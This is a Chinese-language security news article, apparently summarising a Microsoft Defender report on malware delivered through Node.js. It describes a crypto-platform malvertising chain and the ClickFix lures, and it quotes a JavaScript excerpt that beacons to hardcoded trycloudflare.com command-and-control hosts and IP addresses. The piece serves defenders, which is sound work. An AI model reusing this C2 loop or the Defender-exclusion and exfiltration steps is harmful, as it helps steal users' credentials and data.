章
目
录
近期,Microsoft Defender专家(DEX)监测到一个危险的趋势:利用Node.js传播恶意软件和其他有害负载的恶意活动显著增加,这对众多系统的信息安全构成了严重威胁,大量数据面临泄露风险。
在以往,攻击者常常使用Python和PHP这类传统脚本语言搞破坏,但如今,情况有了新变化。越来越多的攻击者开始借助已编译的JavaScript,或者直接在命令行中利用Node.js运行脚本。这背后的原因是,Node.js作为开发者构建Web应用程序的得力工具,具有跨平台兼容、无需浏览器就能执行,还能访问系统资源等优势,而这些特性同样吸引了攻击者,他们借此试图绕过传统的安全防护措施,让恶意软件伪装成合法程序,在目标系统中扎根。
针对加密货币平台用户的恶意广告攻击
Microsoft发现了一场专门针对Binance和TradingView等加密货币平台用户的恶意广告活动。在这场攻击中,受害者会被虚假广告诱导,下载恶意安装程序,而这个安装程序背后隐藏着一个基于Node.js的恶意软件链条。具体攻击步骤如下:
- 恶意文件下载:由Wix构建的安装程序会悄悄下载恶意的CustomActions.dll文件。
- 系统信息收集与持续控制:该DLL利用Windows管理规范(WMI)查询来收集系统的各种信息,并且还会创建一个计划的PowerShell任务,以此来实现对目标系统的持续控制。与此同时,为了分散用户的注意力,一个虚假的浏览器窗口会打开一个合法的加密货币网站。
- PowerShell恶意操作:当计划好的PowerShell命令开始执行,它会进行一系列恶意操作:
- 将PowerShell进程和相关目录排除在Microsoft Defender的扫描范围之外,让后续的恶意行为更难被发现。
- 启动经过混淆处理的脚本,从远程服务器获取更多恶意命令。
- 收集大量系统、基本输入输出系统(BIOS)以及操作系统的信息。
- 通过HTTP POST以JSON格式将收集到的数据发送出去,导致信息泄露。
- 恶意软件执行与进一步破坏:最后阶段,恶意软件会下载并启动Node.js运行时(node.exe)、一个已编译的JavaScript文件(JSC)以及支持的库模块。一旦恶意软件被执行,它会加载额外的模块,建立网络连接,安装证书,窃取浏览器凭据和敏感数据。这些行为和传统的窃取凭据、间谍活动没什么两样,只不过现在是借助JavaScript和Node.js来实施。
新出现的恶意攻击策略
Microsoft还发现了一种新的攻击策略,攻击者直接从PowerShell内联执行JavaScript,这样就能完全绕过基于文件的检测。下面这段代码就是恶意脚本的摘录:
const hosts =[ 'washing-cartridges-watts-flags. trycloudflare.com','sublime-forecasts-pale-scored. trycloudflare.com', 'investigators-boxing-trademark-threatened. trycloudflare.com',
'fotos-phillips-princess-baker.trycloudflare.com', 'casting-advisors-older-invitations. trycloudflare.com',
'complement-parliamentary-chairs-hc.trycloudflare.com'
];
const hostsIp =[
'216.245.184.181',
'212.237.217.182',
'168.119.96.41'
];
let useIp = 0;
let delay = 1;
async function mainloop() {
let toIp = hostsIp[Math.floor(Math.random()* 1000)% hostsIp.length];
while (true){
let toHost = hosts [Math.floor(Math.random() *1000) % hosts.length];
await new Promise(resolve => setTimeout(resolve, delay));
try {
if (useIp <200){
await main(toHost, PORT_HTTP);
useIp = 0;
} else {
}
} catch (error){
console.error('Error with HTTP request:', error.message);
toHost = hosts [Math.floor(Math.random() *1000) % hosts.length];
await main(toIp, PORT_IP);
useIp++;
if (useIp >= 210) useIp = 0;
}
toIp = hostsIp[Math.floor(Math.random() *1000) % hostsIp.length];
useIp++;
delay=1000*10;
continue;
}
}
mainloop();
delay=1000 *60*5;
这段代码里硬编码了命令与控制(C2)服务器,展示了攻击者的部分恶意逻辑。
在名为ClickFix的社会工程学攻击活动中,攻击者诱骗用户执行PowerShell命令,这些命令会下载Node.js,通过内联命令执行JavaScript,进行域名侦察,还会把流量伪装成Cloudflare的正常活动。
如今,攻击者能轻易地把强大的JavaScript恶意逻辑融入日常脚本中。这就要求防御者提高警惕,不仅要在浏览器层面加强防范,还要在shell层面做好安全防护,防止恶意攻击得逞。